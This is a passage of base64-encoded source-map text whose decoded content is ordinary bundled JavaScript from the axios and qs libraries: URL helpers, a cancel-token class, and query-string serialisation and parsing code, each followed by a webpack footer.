m0gdGhlIGRhdGEgZm9yIGEgcmVxdWVzdCBvciBhIHJlc3BvbnNlXG4gKlxuICogQHBhcmFtIHtPYmplY3R8U3RyaW5nfSBkYXRhIFRoZSBkYXRhIHRvIGJlIHRyYW5zZm9ybWVkXG4gKiBAcGFyYW0ge0FycmF5fSBoZWFkZXJzIFRoZSBoZWFkZXJzIGZvciB0aGUgcmVxdWVzdCBvciByZXNwb25zZVxuICogQHBhcmFtIHtBcnJheXxGdW5jdGlvbn0gZm5zIEEgc2luZ2xlIGZ1bmN0aW9uIG9yIEFycmF5IG9mIGZ1bmN0aW9uc1xuICogQHJldHVybnMgeyp9IFRoZSByZXN1bHRpbmcgdHJhbnNmb3JtZWQgZGF0YVxuICovXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIHRyYW5zZm9ybURhdGEoZGF0YSwgaGVhZGVycywgZm5zKSB7XG4gIC8qZXNsaW50IG5vLXBhcmFtLXJlYXNzaWduOjAqL1xuICB1dGlscy5mb3JFYWNoKGZucywgZnVuY3Rpb24gdHJhbnNmb3JtKGZuKSB7XG4gICAgZGF0YSA9IGZuKGRhdGEsIGhlYWRlcnMpO1xuICB9KTtcblxuICByZXR1cm4gZGF0YTtcbn07XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9heGlvcy9saWIvY29yZS90cmFuc2Zvcm1EYXRhLmpzXG4vLyBtb2R1bGUgaWQgPSAxNzVcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbi8qKlxuICogRGV0ZXJtaW5lcyB3aGV0aGVyIHRoZSBzcGVjaWZpZWQgVVJMIGlzIGFic29sdXRlXG4gKlxuICogQHBhcmFtIHtzdHJpbmd9IHVybCBUaGUgVVJMIHRvIHRlc3RcbiAqIEByZXR1cm5zIHtib29sZWFufSBUcnVlIGlmIHRoZSBzcGVjaWZpZWQgVVJMIGlzIGFic29sdXRlLCBvdGhlcndpc2UgZmFsc2VcbiAqL1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiBpc0Fic29sdXRlVVJMKHVybCkge1xuICAvLyBBIFVSTCBpcyBjb25zaWRlcmVkIGFic29sdXRlIGlmIGl0IGJlZ2lucyB3aXRoIFwiPHNjaGVtZT46Ly9cIiBvciBcIi8vXCIgKHByb3RvY29sLXJlbGF0aXZlIFVSTCkuXG4gIC8vIFJGQyAzOTg2IGRlZmluZXMgc2NoZW1lIG5hbWUgYXMgYSBzZXF1ZW5jZSBvZiBjaGFyYWN0ZXJzIGJlZ2lubmluZyB3aXRoIGEgbGV0dGVyIGFuZCBmb2xsb3dlZFxuICAvLyBieSBhbnkgY29tYmluYXRpb24gb2YgbGV0dGVycywgZGlnaXRzLCBwbHVzLCBwZXJpb2QsIG9yIGh5cGhlbi5cbiAgcmV0dXJuIC9eKFthLXpdW2EtelxcZFxcK1xcLVxcLl0qOik/XFwvXFwvL2kudGVzdCh1cmwpO1xufTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi9oZWxwZXJzL2lzQWJzb2x1dGVVUkwuanNcbi8vIG1vZHVsZSBpZCA9IDE3NlxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIid1c2Ugc3RyaWN0JztcblxuLyoqXG4gKiBDcmVhdGVzIGEgbmV3IFVSTCBieSBjb21iaW5pbmcgdGhlIHNwZWNpZmllZCBVUkxzXG4gKlxuICogQHBhcmFtIHtzdHJpbmd9IGJhc2VVUkwgVGhlIGJhc2UgVVJMXG4gKiBAcGFyYW0ge3N0cmluZ30gcmVsYXRpdmVVUkwgVGhlIHJlbGF0aXZlIFVSTFxuICogQHJldHVybnMge3N0cmluZ30gVGhlIGNvbWJpbmVkIFVSTFxuICovXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIGNvbWJpbmVVUkxzKGJhc2VVUkwsIHJlbGF0aXZlVVJMKSB7XG4gIHJldHVybiByZWxhdGl2ZVVSTFxuICAgID8gYmFzZVVSTC5yZXBsYWNlKC9cXC8rJC8sICcnKSArICcvJyArIHJlbGF0aXZlVVJMLnJlcGxhY2UoL15cXC8rLywgJycpXG4gICAgOiBiYXNlVVJMO1xufTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi9oZWxwZXJzL2NvbWJpbmVVUkxzLmpzXG4vLyBtb2R1bGUgaWQgPSAxNzdcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbnZhciBDYW5jZWwgPSByZXF1aXJlKCcuL0NhbmNlbCcpO1xuXG4vKipcbiAqIEEgYENhbmNlbFRva2VuYCBpcyBhbiBvYmplY3QgdGhhdCBjYW4gYmUgdXNlZCB0byByZXF1ZXN0IGNhbmNlbGxhdGlvbiBvZiBhbiBvcGVyYXRpb24uXG4gKlxuICogQGNsYXNzXG4gKiBAcGFyYW0ge0Z1bmN0aW9ufSBleGVjdXRvciBUaGUgZXhlY3V0b3IgZnVuY3Rpb24uXG4gKi9cbmZ1bmN0aW9uIENhbmNlbFRva2VuKGV4ZWN1dG9yKSB7XG4gIGlmICh0eXBlb2YgZXhlY3V0b3IgIT09ICdmdW5jdGlvbicpIHtcbiAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdleGVjdXRvciBtdXN0IGJlIGEgZnVuY3Rpb24uJyk7XG4gIH1cblxuICB2YXIgcmVzb2x2ZVByb21pc2U7XG4gIHRoaXMucHJvbWlzZSA9IG5ldyBQcm9taXNlKGZ1bmN0aW9uIHByb21pc2VFeGVjdXRvcihyZXNvbHZlKSB7XG4gICAgcmVzb2x2ZVByb21pc2UgPSByZXNvbHZlO1xuICB9KTtcblxuICB2YXIgdG9rZW4gPSB0aGlzO1xuICBleGVjdXRvcihmdW5jdGlvbiBjYW5jZWwobWVzc2FnZSkge1xuICAgIGlmICh0b2tlbi5yZWFzb24pIHtcbiAgICAgIC8vIENhbmNlbGxhdGlvbiBoYXMgYWxyZWFkeSBiZWVuIHJlcXVlc3RlZFxuICAgICAgcmV0dXJuO1xuICAgIH1cblxuICAgIHRva2VuLnJlYXNvbiA9IG5ldyBDYW5jZWwobWVzc2FnZSk7XG4gICAgcmVzb2x2ZVByb21pc2UodG9rZW4ucmVhc29uKTtcbiAgfSk7XG59XG5cbi8qKlxuICogVGhyb3dzIGEgYENhbmNlbGAgaWYgY2FuY2VsbGF0aW9uIGhhcyBiZWVuIHJlcXVlc3RlZC5cbiAqL1xuQ2FuY2VsVG9rZW4ucHJvdG90eXBlLnRocm93SWZSZXF1ZXN0ZWQgPSBmdW5jdGlvbiB0aHJvd0lmUmVxdWVzdGVkKCkge1xuICBpZiAodGhpcy5yZWFzb24pIHtcbiAgICB0aHJvdyB0aGlzLnJlYXNvbjtcbiAgfVxufTtcblxuLyoqXG4gKiBSZXR1cm5zIGFuIG9iamVjdCB0aGF0IGNvbnRhaW5zIGEgbmV3IGBDYW5jZWxUb2tlbmAgYW5kIGEgZnVuY3Rpb24gdGhhdCwgd2hlbiBjYWxsZWQsXG4gKiBjYW5jZWxzIHRoZSBgQ2FuY2VsVG9rZW5gLlxuICovXG5DYW5jZWxUb2tlbi5zb3VyY2UgPSBmdW5jdGlvbiBzb3VyY2UoKSB7XG4gIHZhciBjYW5jZWw7XG4gIHZhciB0b2tlbiA9IG5ldyBDYW5jZWxUb2tlbihmdW5jdGlvbiBleGVjdXRvcihjKSB7XG4gICAgY2FuY2VsID0gYztcbiAgfSk7XG4gIHJldHVybiB7XG4gICAgdG9rZW46IHRva2VuLFxuICAgIGNhbmNlbDogY2FuY2VsXG4gIH07XG59O1xuXG5tb2R1bGUuZXhwb3J0cyA9IENhbmNlbFRva2VuO1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvYXhpb3MvbGliL2NhbmNlbC9DYW5jZWxUb2tlbi5qc1xuLy8gbW9kdWxlIGlkID0gMTc4XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiJ3VzZSBzdHJpY3QnO1xuXG4vKipcbiAqIFN5bnRhY3RpYyBzdWdhciBmb3IgaW52b2tpbmcgYSBmdW5jdGlvbiBhbmQgZXhwYW5kaW5nIGFuIGFycmF5IGZvciBhcmd1bWVudHMuXG4gKlxuICogQ29tbW9uIHVzZSBjYXNlIHdvdWxkIGJlIHRvIHVzZSBgRnVuY3Rpb24ucHJvdG90eXBlLmFwcGx5YC5cbiAqXG4gKiAgYGBganNcbiAqICBmdW5jdGlvbiBmKHgsIHksIHopIHt9XG4gKiAgdmFyIGFyZ3MgPSBbMSwgMiwgM107XG4gKiAgZi5hcHBseShudWxsLCBhcmdzKTtcbiAqICBgYGBcbiAqXG4gKiBXaXRoIGBzcHJlYWRgIHRoaXMgZXhhbXBsZSBjYW4gYmUgcmUtd3JpdHRlbi5cbiAqXG4gKiAgYGBganNcbiAqICBzcHJlYWQoZnVuY3Rpb24oeCwgeSwgeikge30pKFsxLCAyLCAzXSk7XG4gKiAgYGBgXG4gKlxuICogQHBhcmFtIHtGdW5jdGlvbn0gY2FsbGJhY2tcbiAqIEByZXR1cm5zIHtGdW5jdGlvbn1cbiAqL1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiBzcHJlYWQoY2FsbGJhY2spIHtcbiAgcmV0dXJuIGZ1bmN0aW9uIHdyYXAoYXJyKSB7XG4gICAgcmV0dXJuIGNhbGxiYWNrLmFwcGx5KG51bGwsIGFycik7XG4gIH07XG59O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvYXhpb3MvbGliL2hlbHBlcnMvc3ByZWFkLmpzXG4vLyBtb2R1bGUgaWQgPSAxNzlcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbnZhciB1dGlscyA9IHJlcXVpcmUoJy4vdXRpbHMnKTtcbnZhciBmb3JtYXRzID0gcmVxdWlyZSgnLi9mb3JtYXRzJyk7XG5cbnZhciBhcnJheVByZWZpeEdlbmVyYXRvcnMgPSB7XG4gICAgYnJhY2tldHM6IGZ1bmN0aW9uIGJyYWNrZXRzKHByZWZpeCkgeyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIGZ1bmMtbmFtZS1tYXRjaGluZ1xuICAgICAgICByZXR1cm4gcHJlZml4ICsgJ1tdJztcbiAgICB9LFxuICAgIGluZGljZXM6IGZ1bmN0aW9uIGluZGljZXMocHJlZml4LCBrZXkpIHsgLy8gZXNsaW50LWRpc2FibGUtbGluZSBmdW5jLW5hbWUtbWF0Y2hpbmdcbiAgICAgICAgcmV0dXJuIHByZWZpeCArICdbJyArIGtleSArICddJztcbiAgICB9LFxuICAgIHJlcGVhdDogZnVuY3Rpb24gcmVwZWF0KHByZWZpeCkgeyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIGZ1bmMtbmFtZS1tYXRjaGluZ1xuICAgICAgICByZXR1cm4gcHJlZml4O1xuICAgIH1cbn07XG5cbnZhciB0b0lTTyA9IERhdGUucHJvdG90eXBlLnRvSVNPU3RyaW5nO1xuXG52YXIgZGVmYXVsdHMgPSB7XG4gICAgZGVsaW1pdGVyOiAnJicsXG4gICAgZW5jb2RlOiB0cnVlLFxuICAgIGVuY29kZXI6IHV0aWxzLmVuY29kZSxcbiAgICBlbmNvZGVWYWx1ZXNPbmx5OiBmYWxzZSxcbiAgICBzZXJpYWxpemVEYXRlOiBmdW5jdGlvbiBzZXJpYWxpemVEYXRlKGRhdGUpIHsgLy8gZXNsaW50LWRpc2FibGUtbGluZSBmdW5jLW5hbWUtbWF0Y2hpbmdcbiAgICAgICAgcmV0dXJuIHRvSVNPLmNhbGwoZGF0ZSk7XG4gICAgfSxcbiAgICBza2lwTnVsbHM6IGZhbHNlLFxuICAgIHN0cmljdE51bGxIYW5kbGluZzogZmFsc2Vcbn07XG5cbnZhciBzdHJpbmdpZnkgPSBmdW5jdGlvbiBzdHJpbmdpZnkoIC8vIGVzbGludC1kaXNhYmxlLWxpbmUgZnVuYy1uYW1lLW1hdGNoaW5nXG4gICAgb2JqZWN0LFxuICAgIHByZWZpeCxcbiAgICBnZW5lcmF0ZUFycmF5UHJlZml4LFxuICAgIHN0cmljdE51bGxIYW5kbGluZyxcbiAgICBza2lwTnVsbHMsXG4gICAgZW5jb2RlcixcbiAgICBmaWx0ZXIsXG4gICAgc29ydCxcbiAgICBhbGxvd0RvdHMsXG4gICAgc2VyaWFsaXplRGF0ZSxcbiAgICBmb3JtYXR0ZXIsXG4gICAgZW5jb2RlVmFsdWVzT25seVxuKSB7XG4gICAgdmFyIG9iaiA9IG9iamVjdDtcbiAgICBpZiAodHlwZW9mIGZpbHRlciA9PT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICBvYmogPSBmaWx0ZXIocHJlZml4LCBvYmopO1xuICAgIH0gZWxzZSBpZiAob2JqIGluc3RhbmNlb2YgRGF0ZSkge1xuICAgICAgICBvYmogPSBzZXJpYWxpemVEYXRlKG9iaik7XG4gICAgfSBlbHNlIGlmIChvYmogPT09IG51bGwpIHtcbiAgICAgICAgaWYgKHN0cmljdE51bGxIYW5kbGluZykge1xuICAgICAgICAgICAgcmV0dXJuIGVuY29kZXIgJiYgIWVuY29kZVZhbHVlc09ubHkgPyBlbmNvZGVyKHByZWZpeCwgZGVmYXVsdHMuZW5jb2RlcikgOiBwcmVmaXg7XG4gICAgICAgIH1cblxuICAgICAgICBvYmogPSAnJztcbiAgICB9XG5cbiAgICBpZiAodHlwZW9mIG9iaiA9PT0gJ3N0cmluZycgfHwgdHlwZW9mIG9iaiA9PT0gJ251bWJlcicgfHwgdHlwZW9mIG9iaiA9PT0gJ2Jvb2xlYW4nIHx8IHV0aWxzLmlzQnVmZmVyKG9iaikpIHtcbiAgICAgICAgaWYgKGVuY29kZXIpIHtcbiAgICAgICAgICAgIHZhciBrZXlWYWx1ZSA9IGVuY29kZVZhbHVlc09ubHkgPyBwcmVmaXggOiBlbmNvZGVyKHByZWZpeCwgZGVmYXVsdHMuZW5jb2Rlcik7XG4gICAgICAgICAgICByZXR1cm4gW2Zvcm1hdHRlcihrZXlWYWx1ZSkgKyAnPScgKyBmb3JtYXR0ZXIoZW5jb2RlcihvYmosIGRlZmF1bHRzLmVuY29kZXIpKV07XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIFtmb3JtYXR0ZXIocHJlZml4KSArICc9JyArIGZvcm1hdHRlcihTdHJpbmcob2JqKSldO1xuICAgIH1cblxuICAgIHZhciB2YWx1ZXMgPSBbXTtcblxuICAgIGlmICh0eXBlb2Ygb2JqID09PSAndW5kZWZpbmVkJykge1xuICAgICAgICByZXR1cm4gdmFsdWVzO1xuICAgIH1cblxuICAgIHZhciBvYmpLZXlzO1xuICAgIGlmIChBcnJheS5pc0FycmF5KGZpbHRlcikpIHtcbiAgICAgICAgb2JqS2V5cyA9IGZpbHRlcjtcbiAgICB9IGVsc2Uge1xuICAgICAgICB2YXIga2V5cyA9IE9iamVjdC5rZXlzKG9iaik7XG4gICAgICAgIG9iaktleXMgPSBzb3J0ID8ga2V5cy5zb3J0KHNvcnQpIDoga2V5cztcbiAgICB9XG5cbiAgICBmb3IgKHZhciBpID0gMDsgaSA8IG9iaktleXMubGVuZ3RoOyArK2kpIHtcbiAgICAgICAgdmFyIGtleSA9IG9iaktleXNbaV07XG5cbiAgICAgICAgaWYgKHNraXBOdWxscyAmJiBvYmpba2V5XSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoQXJyYXkuaXNBcnJheShvYmopKSB7XG4gICAgICAgICAgICB2YWx1ZXMgPSB2YWx1ZXMuY29uY2F0KHN0cmluZ2lmeShcbiAgICAgICAgICAgICAgICBvYmpba2V5XSxcbiAgICAgICAgICAgICAgICBnZW5lcmF0ZUFycmF5UHJlZml4KHByZWZpeCwga2V5KSxcbiAgICAgICAgICAgICAgICBnZW5lcmF0ZUFycmF5UHJlZml4LFxuICAgICAgICAgICAgICAgIHN0cmljdE51bGxIYW5kbGluZyxcbiAgICAgICAgICAgICAgICBza2lwTnVsbHMsXG4gICAgICAgICAgICAgICAgZW5jb2RlcixcbiAgICAgICAgICAgICAgICBmaWx0ZXIsXG4gICAgICAgICAgICAgICAgc29ydCxcbiAgICAgICAgICAgICAgICBhbGxvd0RvdHMsXG4gICAgICAgICAgICAgICAgc2VyaWFsaXplRGF0ZSxcbiAgICAgICAgICAgICAgICBmb3JtYXR0ZXIsXG4gICAgICAgICAgICAgICAgZW5jb2RlVmFsdWVzT25seVxuICAgICAgICAgICAgKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICB2YWx1ZXMgPSB2YWx1ZXMuY29uY2F0KHN0cmluZ2lmeShcbiAgICAgICAgICAgICAgICBvYmpba2V5XSxcbiAgICAgICAgICAgICAgICBwcmVmaXggKyAoYWxsb3dEb3RzID8gJy4nICsga2V5IDogJ1snICsga2V5ICsgJ10nKSxcbiAgICAgICAgICAgICAgICBnZW5lcmF0ZUFycmF5UHJlZml4LFxuICAgICAgICAgICAgICAgIHN0cmljdE51bGxIYW5kbGluZyxcbiAgICAgICAgICAgICAgICBza2lwTnVsbHMsXG4gICAgICAgICAgICAgICAgZW5jb2RlcixcbiAgICAgICAgICAgICAgICBmaWx0ZXIsXG4gICAgICAgICAgICAgICAgc29ydCxcbiAgICAgICAgICAgICAgICBhbGxvd0RvdHMsXG4gICAgICAgICAgICAgICAgc2VyaWFsaXplRGF0ZSxcbiAgICAgICAgICAgICAgICBmb3JtYXR0ZXIsXG4gICAgICAgICAgICAgICAgZW5jb2RlVmFsdWVzT25seVxuICAgICAgICAgICAgKSk7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gdmFsdWVzO1xufTtcblxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAob2JqZWN0LCBvcHRzKSB7XG4gICAgdmFyIG9iaiA9IG9iamVjdDtcbiAgICB2YXIgb3B0aW9ucyA9IG9wdHMgPyB1dGlscy5hc3NpZ24oe30sIG9wdHMpIDoge307XG5cbiAgICBpZiAob3B0aW9ucy5lbmNvZGVyICE9PSBudWxsICYmIG9wdGlvbnMuZW5jb2RlciAhPT0gdW5kZWZpbmVkICYmIHR5cGVvZiBvcHRpb25zLmVuY29kZXIgIT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignRW5jb2RlciBoYXMgdG8gYmUgYSBmdW5jdGlvbi4nKTtcbiAgICB9XG5cbiAgICB2YXIgZGVsaW1pdGVyID0gdHlwZW9mIG9wdGlvbnMuZGVsaW1pdGVyID09PSAndW5kZWZpbmVkJyA/IGRlZmF1bHRzLmRlbGltaXRlciA6IG9wdGlvbnMuZGVsaW1pdGVyO1xuICAgIHZhciBzdHJpY3ROdWxsSGFuZGxpbmcgPSB0eXBlb2Ygb3B0aW9ucy5zdHJpY3ROdWxsSGFuZGxpbmcgPT09ICdib29sZWFuJyA/IG9wdGlvbnMuc3RyaWN0TnVsbEhhbmRsaW5nIDogZGVmYXVsdHMuc3RyaWN0TnVsbEhhbmRsaW5nO1xuICAgIHZhciBza2lwTnVsbHMgPSB0eXBlb2Ygb3B0aW9ucy5za2lwTnVsbHMgPT09ICdib29sZWFuJyA/IG9wdGlvbnMuc2tpcE51bGxzIDogZGVmYXVsdHMuc2tpcE51bGxzO1xuICAgIHZhciBlbmNvZGUgPSB0eXBlb2Ygb3B0aW9ucy5lbmNvZGUgPT09ICdib29sZWFuJyA/IG9wdGlvbnMuZW5jb2RlIDogZGVmYXVsdHMuZW5jb2RlO1xuICAgIHZhciBlbmNvZGVyID0gdHlwZW9mIG9wdGlvbnMuZW5jb2RlciA9PT0gJ2Z1bmN0aW9uJyA/IG9wdGlvbnMuZW5jb2RlciA6IGRlZmF1bHRzLmVuY29kZXI7XG4gICAgdmFyIHNvcnQgPSB0eXBlb2Ygb3B0aW9ucy5zb3J0ID09PSAnZnVuY3Rpb24nID8gb3B0aW9ucy5zb3J0IDogbnVsbDtcbiAgICB2YXIgYWxsb3dEb3RzID0gdHlwZW9mIG9wdGlvbnMuYWxsb3dEb3RzID09PSAndW5kZWZpbmVkJyA/IGZhbHNlIDogb3B0aW9ucy5hbGxvd0RvdHM7XG4gICAgdmFyIHNlcmlhbGl6ZURhdGUgPSB0eXBlb2Ygb3B0aW9ucy5zZXJpYWxpemVEYXRlID09PSAnZnVuY3Rpb24nID8gb3B0aW9ucy5zZXJpYWxpemVEYXRlIDogZGVmYXVsdHMuc2VyaWFsaXplRGF0ZTtcbiAgICB2YXIgZW5jb2RlVmFsdWVzT25seSA9IHR5cGVvZiBvcHRpb25zLmVuY29kZVZhbHVlc09ubHkgPT09ICdib29sZWFuJyA/IG9wdGlvbnMuZW5jb2RlVmFsdWVzT25seSA6IGRlZmF1bHRzLmVuY29kZVZhbHVlc09ubHk7XG4gICAgaWYgKHR5cGVvZiBvcHRpb25zLmZvcm1hdCA9PT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAgICAgb3B0aW9ucy5mb3JtYXQgPSBmb3JtYXRzWydkZWZhdWx0J107XG4gICAgfSBlbHNlIGlmICghT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKGZvcm1hdHMuZm9ybWF0dGVycywgb3B0aW9ucy5mb3JtYXQpKSB7XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ1Vua25vd24gZm9ybWF0IG9wdGlvbiBwcm92aWRlZC4nKTtcbiAgICB9XG4gICAgdmFyIGZvcm1hdHRlciA9IGZvcm1hdHMuZm9ybWF0dGVyc1tvcHRpb25zLmZvcm1hdF07XG4gICAgdmFyIG9iaktleXM7XG4gICAgdmFyIGZpbHRlcjtcblxuICAgIGlmICh0eXBlb2Ygb3B0aW9ucy5maWx0ZXIgPT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgZmlsdGVyID0gb3B0aW9ucy5maWx0ZXI7XG4gICAgICAgIG9iaiA9IGZpbHRlcignJywgb2JqKTtcbiAgICB9IGVsc2UgaWYgKEFycmF5LmlzQXJyYXkob3B0aW9ucy5maWx0ZXIpKSB7XG4gICAgICAgIGZpbHRlciA9IG9wdGlvbnMuZmlsdGVyO1xuICAgICAgICBvYmpLZXlzID0gZmlsdGVyO1xuICAgIH1cblxuICAgIHZhciBrZXlzID0gW107XG5cbiAgICBpZiAodHlwZW9mIG9iaiAhPT0gJ29iamVjdCcgfHwgb2JqID09PSBudWxsKSB7XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG5cbiAgICB2YXIgYXJyYXlGb3JtYXQ7XG4gICAgaWYgKG9wdGlvbnMuYXJyYXlGb3JtYXQgaW4gYXJyYXlQcmVmaXhHZW5lcmF0b3JzKSB7XG4gICAgICAgIGFycmF5Rm9ybWF0ID0gb3B0aW9ucy5hcnJheUZvcm1hdDtcbiAgICB9IGVsc2UgaWYgKCdpbmRpY2VzJyBpbiBvcHRpb25zKSB7XG4gICAgICAgIGFycmF5Rm9ybWF0ID0gb3B0aW9ucy5pbmRpY2VzID8gJ2luZGljZXMnIDogJ3JlcGVhdCc7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgYXJyYXlGb3JtYXQgPSAnaW5kaWNlcyc7XG4gICAgfVxuXG4gICAgdmFyIGdlbmVyYXRlQXJyYXlQcmVmaXggPSBhcnJheVByZWZpeEdlbmVyYXRvcnNbYXJyYXlGb3JtYXRdO1xuXG4gICAgaWYgKCFvYmpLZXlzKSB7XG4gICAgICAgIG9iaktleXMgPSBPYmplY3Qua2V5cyhvYmopO1xuICAgIH1cblxuICAgIGlmIChzb3J0KSB7XG4gICAgICAgIG9iaktleXMuc29ydChzb3J0KTtcbiAgICB9XG5cbiAgICBmb3IgKHZhciBpID0gMDsgaSA8IG9iaktleXMubGVuZ3RoOyArK2kpIHtcbiAgICAgICAgdmFyIGtleSA9IG9iaktleXNbaV07XG5cbiAgICAgICAgaWYgKHNraXBOdWxscyAmJiBvYmpba2V5XSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cblxuICAgICAgICBrZXlzID0ga2V5cy5jb25jYXQoc3RyaW5naWZ5KFxuICAgICAgICAgICAgb2JqW2tleV0sXG4gICAgICAgICAgICBrZXksXG4gICAgICAgICAgICBnZW5lcmF0ZUFycmF5UHJlZml4LFxuICAgICAgICAgICAgc3RyaWN0TnVsbEhhbmRsaW5nLFxuICAgICAgICAgICAgc2tpcE51bGxzLFxuICAgICAgICAgICAgZW5jb2RlID8gZW5jb2RlciA6IG51bGwsXG4gICAgICAgICAgICBmaWx0ZXIsXG4gICAgICAgICAgICBzb3J0LFxuICAgICAgICAgICAgYWxsb3dEb3RzLFxuICAgICAgICAgICAgc2VyaWFsaXplRGF0ZSxcbiAgICAgICAgICAgIGZvcm1hdHRlcixcbiAgICAgICAgICAgIGVuY29kZVZhbHVlc09ubHlcbiAgICAgICAgKSk7XG4gICAgfVxuXG4gICAgdmFyIGpvaW5lZCA9IGtleXMuam9pbihkZWxpbWl0ZXIpO1xuICAgIHZhciBwcmVmaXggPSBvcHRpb25zLmFkZFF1ZXJ5UHJlZml4ID09PSB0cnVlID8gJz8nIDogJyc7XG5cbiAgICByZXR1cm4gam9pbmVkLmxlbmd0aCA+IDAgPyBwcmVmaXggKyBqb2luZWQgOiAnJztcbn07XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9xcy9saWIvc3RyaW5naWZ5LmpzXG4vLyBtb2R1bGUgaWQgPSAxODBcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbnZhciB1dGlscyA9IHJlcXVpcmUoJy4vdXRpbHMnKTtcblxudmFyIGhhcyA9IE9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHk7XG5cbnZhciBkZWZhdWx0cyA9IHtcbiAgICBhbGxvd0RvdHM6IGZhbHNlLFxuICAgIGFsbG93UHJvdG90eXBlczogZmFsc2UsXG4gICAgYXJyYXlMaW1pdDogMjAsXG4gICAgZGVjb2RlcjogdXRpbHMuZGVjb2RlLFxuICAgIGRlbGltaXRlcjogJyYnLFxuICAgIGRlcHRoOiA1LFxuICAgIHBhcmFtZXRlckxpbWl0OiAxMDAwLFxuICAgIHBsYWluT2JqZWN0czogZmFsc2UsXG4gICAgc3RyaWN0TnVsbEhhbmRsaW5nOiBmYWxzZVxufTtcblxudmFyIHBhcnNlVmFsdWVzID0gZnVuY3Rpb24gcGFyc2VRdWVyeVN0cmluZ1ZhbHVlcyhzdHIsIG9wdGlvbnMpIHtcbiAgICB2YXIgb2JqID0ge307XG4gICAgdmFyIGNsZWFuU3RyID0gb3B0aW9ucy5pZ25vcmVRdWVyeVByZWZpeCA/IHN0ci5yZXBsYWNlKC9eXFw/LywgJycpIDogc3RyO1xuICAgIHZhciBsaW1pdCA9IG9wdGlvbnMucGFyYW1ldGVyTGltaXQgPT09IEluZmluaXR5ID8gdW5kZWZpbmVkIDogb3B0aW9ucy5wYXJhbWV0ZXJMaW1pdDtcbiAgICB2YXIgcGFydHMgPSBjbGVhblN0ci5zcGxpdChvcHRpb25zLmRlbGltaXRlciwgbGltaXQpO1xuXG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBwYXJ0cy5sZW5ndGg7ICsraSkge1xuICAgICAgICB2YXIgcGFydCA9IHBhcnRzW2ldO1xuXG4gICAgICAgIHZhciBicmFja2V0RXF1YWxzUG9zID0gcGFydC5pbmRleE9mKCddPScpO1xuICAgICAgICB2YXIgcG9zID0gYnJhY2tldEVxdWFsc1BvcyA9PT0gLTEgPyBwYXJ0LmluZGV4T2YoJz0nKSA6IGJyYWNrZXRFcXVhbHNQb3MgKyAxO1xuXG4gICAgICAgIHZhciBrZXksIHZhbDtcbiAgICAgICAgaWYgKHBvcyA9PT0gLTEpIHtcbiAgICAgICAgICAgIGtleSA9IG9wdGlvbnMuZGVjb2RlcihwYXJ0LCBkZWZhdWx0cy5kZWNvZGVyKTtcbiAgICAgICAgICAgIHZhbCA9IG9wdGlvbnMuc3RyaWN0TnVsbEhhbmRsaW5nID8gbnVsbCA6ICcnO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAga2V5ID0gb3B0aW9ucy5kZWNvZGVyKHBhcnQuc2xpY2UoMCwgcG9zKSwgZGVmYXVsdHMuZGVjb2Rlcik7XG4gICAgICAgICAgICB2YWwgPSBvcHRpb25zLmRlY29kZXIocGFydC5zbGljZShwb3MgKyAxKSwgZGVmYXVsdHMuZGVjb2Rlcik7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGhhcy5jYWxsKG9iaiwga2V5KSkge1xuICAgICAgICAgICAgb2JqW2tleV0gPSBbXS5jb25jYXQob2JqW2tleV0pLmNvbmNhdCh2YWwpO1xuICAgICAgICB9IGVsc2U